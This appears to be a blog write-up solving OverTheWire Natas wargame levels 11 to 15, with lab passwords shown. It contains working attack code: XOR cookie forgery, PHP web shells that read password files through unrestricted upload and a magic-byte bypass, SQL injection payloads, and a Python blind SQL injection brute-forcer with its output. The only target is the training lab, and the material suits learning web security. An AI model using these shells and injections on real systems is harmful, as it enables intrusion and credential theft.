Welcome back! This post is the continuation of the Natas wargame from OverTheWire.

If you haven’t already read my post from Solution 1-10, then I highly suggest you do so before continuing on to the higher end levels, as the lower levels will provide you the basics of web hacking. You can read that post here!

So, without further ado, let us begin!

Level 11:

So is seems like the cookies are protected with a XOR Encryption… interesting! Let’s go ahead and grab the XOR Encrypted cookie that the site is using. Fire up Burp, intercept the packet, and you should get the following:

So our cookie should be - Cookie: "data=ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw%3D"

Now let’s go ahead and see what the source code holds for us.

<?
$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");

function xor_encrypt($in) {
    $key = '<censored>';
    $text = $in;
    $outText = '';

    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
    $outText .= $text[$i] ^ $key[$i % strlen($key)];
    }

    return $outText;
}

function loadData($def) {
    global $_COOKIE;
    $mydata = $def;
    if(array_key_exists("data", $_COOKIE)) {
    $tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);
    if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) {
        if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {
        $mydata['showpassword'] = $tempdata['showpassword'];
        $mydata['bgcolor'] = $tempdata['bgcolor'];
        }
    }
    }
    return $mydata;
}

function saveData($d) {
    setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}

$data = loadData($defaultdata);

if(array_key_exists("bgcolor",$_REQUEST)) {
    if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) {
        $data['bgcolor'] = $_REQUEST['bgcolor'];
    }
}

saveData($data);
?>

If you know what a XOR Cipher is then you would remember that A XOR B = C.

In this case, it would be: Original_Data XOR KEY = Encrypted_Data.

Thus to get the Key we do the following: Original_Data XOR Encrypted_Data = KEY, since we already are provided with the Original_Data and Encrypted_Data.

Sounds easy enough, right? Good! Let’s fire up PHP and write the following script to reverse engineer the key.

<?
function xor_encrypt($text) {
    $key = base64_decode('ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw=');
    $outText = '';
 
    for($i=0;$i<strlen($text);$i++) {
       $outText .= $text[$i] ^ $key[$i % strlen($key)];
    }
 
    return $outText;
}
 
$data = array("showpassword"=>"no", "bgcolor"=>"#ffffff");
print xor_encrypt(json_encode($data));
?>

And we will get the Key Output of qw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jq. Okay, great. So let’s go back and edit our code, and replace the $key with our newly found key, and also edit the showpassword to yes.

<?
function xor_encrypt($text) {
    $key = 'qw8J';
    $outText = '';
 
    for($i=0;$i<strlen($text);$i++) {
       $outText .= $text[$i] ^ $key[$i % strlen($key)];
    }
 
    return $outText;
}
 
$data = array("showpassword"=>"yes", "bgcolor"=>"#ffffff");
print base64_encode(xor_encrypt(json_encode($data)));
?>

Once we run the new PHP script we should get an output of our cookie: ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK.

With this new cookie, let’s go back to Burp and submit it to the page. If done correctly, we should get the password EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3. Now we can move on to level 12!

Level 12:

It seems like for this level we are supposed to upload a JPEG File. Let’s see what the source code does before we decide on how to exploit this.

<? 

function genRandomString() {
    $length = 10;
    $characters = "0123456789abcdefghijklmnopqrstuvwxyz";
    $string = "";    

    for ($p = 0; $p < $length; $p++) {
        $string .= $characters[mt_rand(0, strlen($characters)-1)];
    }

    return $string;
}

function makeRandomPath($dir, $ext) {
    do {
    $path = $dir."/".genRandomString().".".$ext;
    } while(file_exists($path));
    return $path;
}

function makeRandomPathFromFilename($dir, $fn) {
    $ext = pathinfo($fn, PATHINFO_EXTENSION);
    return makeRandomPath($dir, $ext);
}

if(array_key_exists("filename", $_POST)) {
    $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);


        if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
        echo "File is too big";
    } else {
        if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
            echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
        } else{
            echo "There was an error uploading the file, please try again!";
        }
    }
} else {
?> 

It seems as if the code is taking the uploaded file, creating a random name and path, and adding a preset extension - which we can assume is .jpeg.

The first thing that I can think of, off the top of my head is an Unrestricted File Upload. So let’s go ahead and test for this vulnerability. We can begin by creating a simple PHP Shell that will echo back the contents of /etc/natas_webpass/natas13.

<?
$output = shell_exec('cat /etc/natas_webpass/natas13');
echo "<pre>$output</pre>";
?>

Once done, save it as shell.php. Go back to the website, click Browse and select our shell. BUT! Before you click Upload, fire up Burp and set up the Burp Proxy to intercept packets. Once done, click Upload.

Looking at the Burp Intercept, towards the bottom of the page, we can see the following lines:

Content-Disposition: form-data; name="filename"

zvot8u94ri.jpg
-----------------------------15512856191759264131314404296
Content-Disposition: form-data; name="uploadedfile"; filename="shell.php"
Content-Type: application/x-php

<?
$output = shell_exec('cat /etc/natas_webpass/natas13');
echo "<pre>$output<pre>";
?>

-----------------------------15512856191759264131314404296--

We can see that our filename is being changed to .jpg and being renamed. So let’s edit that back to shell.php, and forward the packet. You should see something along the lines of “The file upload/yh33kxvyt8.php has been uploaded” come up.

Go ahead and click the upload/yh33kxvyt8.php link, and we should get the password jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY.

Good job! Not as hard as 11… let’s move on to level 13!

Level 13:

This level seems to be the same as 12. The only catch is that the upload accepts image files only. Let’s see source code.

<? 

function genRandomString() {
    $length = 10;
    $characters = "0123456789abcdefghijklmnopqrstuvwxyz";
    $string = "";    

    for ($p = 0; $p < $length; $p++) {
        $string .= $characters[mt_rand(0, strlen($characters)-1)];
    }

    return $string;
}

function makeRandomPath($dir, $ext) {
    do {
    $path = $dir."/".genRandomString().".".$ext;
    } while(file_exists($path));
    return $path;
}

function makeRandomPathFromFilename($dir, $fn) {
    $ext = pathinfo($fn, PATHINFO_EXTENSION);
    return makeRandomPath($dir, $ext);
}

if(array_key_exists("filename", $_POST)) {
    $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);


        if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
        echo "File is too big";
    } else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
        echo "File is not an image";
    } else {
        if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
            echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
        } else{
            echo "There was an error uploading the file, please try again!";
        }
    }
} else {
?> 

The source code is similar to 12, but it has some extra addition to it. If you look closely to the IF/ELSE statements, we can see that exif_imagetype is being used. What this does is that it reads the first bytes of an image and checks its signature.

Okay, I’m sure we can exploit this! Let’s go ahead and edit shell.php that we used in level 12.This time it has to be pulling the password from Natas14. Also we have to add BMP to the start of the file - this will allow exif_imagetype to read the file as a Bitmap File Image, and will bypass the upload check, allowing our shell.

BMP<?
$output = shell_exec('cat /etc/natas_webpass/natas14');
echo "<pre>$output</pre>";
?>

We will be doing a repeat of 12, so click Browse and look for shell.php, open it, fire up Burp, start up the proxy, and Upload the file!

In Burp’s Intercept we should see something along the following lines:

Content-Disposition: form-data; name="filename"

3hwxwqemk3.jpg
-----------------------------1625648362953610391147035725
Content-Disposition: form-data; name="uploadedfile"; filename="shell.php"
Content-Type: application/x-php

<?
$output = shell_exec('cat /etc/natas_webpass/natas14');
echo "<pre>$output</pre>";
?>

-----------------------------1625648362953610391147035725--

Let’s change the name 3hwxwqemk3.jpg to shell.php, and forward the packet. You should now see something along the lines of “The file upload/w0yzhafetj.php has been uploaded”.

Let’s go ahead and click the upload/4mi1msvukh.php link.

If done correctly we should get the password Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1.

Congrats! It was simple enough! I suggest you go read more about Unrestricted File Uploads from OWASP as they are an amazing source to learning Web Hacking! We’re done here… so moving on to level 14!

Level 14:

Okay, for this level is seems we have to enter a username and password. Let’s read the source code and see if we can’t find any clues to what this app does.

<?
if(array_key_exists("username", $_REQUEST)) {
    $link = mysql_connect('localhost', 'natas14', '<censored>');
    mysql_select_db('natas14', $link);
    
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    if(mysql_num_rows(mysql_query($query, $link)) > 0) {
            echo "Successful login! The password for natas15 is <censored><br>";
    } else {
            echo "Access denied!<br>";
    }
    mysql_close($link);
} else {
?> 

Looking at the PHP script we see that MySql is being used, so we can assume that this login page is vulnerable to a SQL Injection Attack.

Let’s look at the query that is being used in the PHP Script.

SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"

This can be translated as:

SELECT * from users where username = "username" and password = "password"

Looking at the code, it doesn’t seem to be preventing us from entering any “wrong” input. So for the username and password field, we can enter ”=”. The result is the following SQL Query:

SELECT * from users where username = ""="" and password = ""=""

The SQL query is thus valid, and will return all rows from the table Users, since WHERE “”=”” is always true.

If done successfully, you should get the password AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J and we can move on to level 15!

Level 15:

My god… this level took me way longer then I am willing to admit! Having only to work with a username I knew we would probably be doing a SQL Injection. At the end, I figured out that this is a Blind SQL Injection.

Before we dig deeper let’s look at the Source Code.

<?

/*
CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);
*/

if(array_key_exists("username", $_REQUEST)) {
    $link = mysql_connect('localhost', 'natas15', '<censored>');
    mysql_select_db('natas15', $link);
    
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    $res = mysql_query($query, $link);
    if($res) {
    if(mysql_num_rows($res) > 0) {
        echo "This user exists.<br>";
    } else {
        echo "This user doesn't exist.<br>";
    }
    } else {
        echo "Error in query.<br>";
    }

    mysql_close($link);
} else {
?> 

Looking at the query in PHP we can translate it to:

SELECT * from users where username = "username";

Now, I for one always laugh when I see quotes in inputs on web applications that don’t do proper input validation. This just speaks “EXPLOIT HERE”. As I stated before this is a Blind SQL Injection, meaning that we are “blind” to generic errors and can only tell what the application is doing by using true or false statements.

Looking into the code we can also see that the comment states that a table called “users” was created, and contains two columns - “username” and “password“… at least we now know we can try to get the password.

So, we need to get the password for natas16, and to do that we will have to brute force the password. In general, this will be similar to the brute forcing we did in Bandit, but a little more complex. I will be creating the script to brute force the password using Python, so I suggest brushing up on it before continuing, or use another language like Ruby, JavaScript, C, etc.

First, let’s try and create a SQL Query that will allow us to see what letters are in the password field for natas16. We will try to inject natas16” and password LIKE BINARY “a%, and it will bode us this query.

SELECT * from users where username = "natas16" and password LIKE BINARY "a%"

What this query does is basically pull the username natas16 and check to see if a certain character is used in their associated password field. We use the LIKE statement to search for specified letters or patterns, and the MySQL Operator BINARY to compare case sensitive letters.

When we run this query, if the character we chose are in the password, the page will return The user exists, if the character isn’t in the password, then we will get The user doesn’t exist.

So let’s go ahead and write a python script to check for password characters, and then try to brute force the password.

#!/usr/bin/python

import requests

chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
exist = ''
password = ''
target = 'http://natas15:AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J@natas15.natas.labs.overthewire.org/index.php'
trueStr = 'This user exists.'

r = requests.get(target, verify=False)

for x in chars:
	r = requests.get(target+'?username=natas16" AND password LIKE BINARY "%'+x+'%" "')
	if r.content.find(trueStr) != -1:
		exist += x
		print 'Using: ' + exist

print 'All characters used. Starting brute force... Grab a coffee, might take a while!'

for i in range(32):
	for c in exist:
		r = requests.get(target+'?username=natas16" AND password LIKE BINARY "' + password + c + '%" "')
		if r.content.find(trueStr) != -1:
			password += c
			print 'Password: ' + password + '*' * int(32 - len(password))
			break

print 'Completed!'

Once done, save this as brute.py or anything you like, and let’s give the script execute permissions, and then run it!

root@kali:~# chmod +x brute.py
root@kali:~# ./brute.py
Using: 0
Using: 03
Using: 035
Using: 0356
Using: 03569
Using: 03569a
Using: 03569ac
Using: 03569ace
Using: 03569aceh
Using: 03569acehi
Using: 03569acehij
Using: 03569acehijm
Using: 03569acehijmn
Using: 03569acehijmnp
Using: 03569acehijmnpq
Using: 03569acehijmnpqt
Using: 03569acehijmnpqtw
Using: 03569acehijmnpqtwB
Using: 03569acehijmnpqtwBE
Using: 03569acehijmnpqtwBEH
Using: 03569acehijmnpqtwBEHI
Using: 03569acehijmnpqtwBEHIN
Using: 03569acehijmnpqtwBEHINO
Using: 03569acehijmnpqtwBEHINOR
Using: 03569acehijmnpqtwBEHINORW
All characters used. Starting brute force... Grab a coffee, might take a while!
Password: W*******************************
Password: Wa******************************
Password: WaI*****************************
Password: WaIH****************************
Password: WaIHE***************************
Password: WaIHEa**************************
Password: WaIHEac*************************
Password: WaIHEacj************************
Password: WaIHEacj6***********************
Password: WaIHEacj63**********************
Password: WaIHEacj63w*********************
Password: WaIHEacj63wn********************
Password: WaIHEacj63wnN*******************
Password: WaIHEacj63wnNI******************
Password: WaIHEacj63wnNIB*****************
Password: WaIHEacj63wnNIBR****************
Password: WaIHEacj63wnNIBRO***************
Password: WaIHEacj63wnNIBROH**************
Password: WaIHEacj63wnNIBROHe*************
Password: WaIHEacj63wnNIBROHeq************
Password: WaIHEacj63wnNIBROHeqi***********
Password: WaIHEacj63wnNIBROHeqi3**********
Password: WaIHEacj63wnNIBROHeqi3p*********
Password: WaIHEacj63wnNIBROHeqi3p9********
Password: WaIHEacj63wnNIBROHeqi3p9t*******
Password: WaIHEacj63wnNIBROHeqi3p9t0******
Password: WaIHEacj63wnNIBROHeqi3p9t0m*****
Password: WaIHEacj63wnNIBROHeqi3p9t0m5****
Password: WaIHEacj63wnNIBROHeqi3p9t0m5n***
Password: WaIHEacj63wnNIBROHeqi3p9t0m5nh**
Password: WaIHEacj63wnNIBROHeqi3p9t0m5nhm*
Password: WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
Completed!

Oh yah! We got the password for natas16! We are one step closer to becoming 1337 hackerz! On to level 16!

That’s all for now! Join me next time for a continution on Natas! Also expect future Raspberry Pi Projects, Web Camera Hacking PoC, and more!

Updated:

Leave a Comment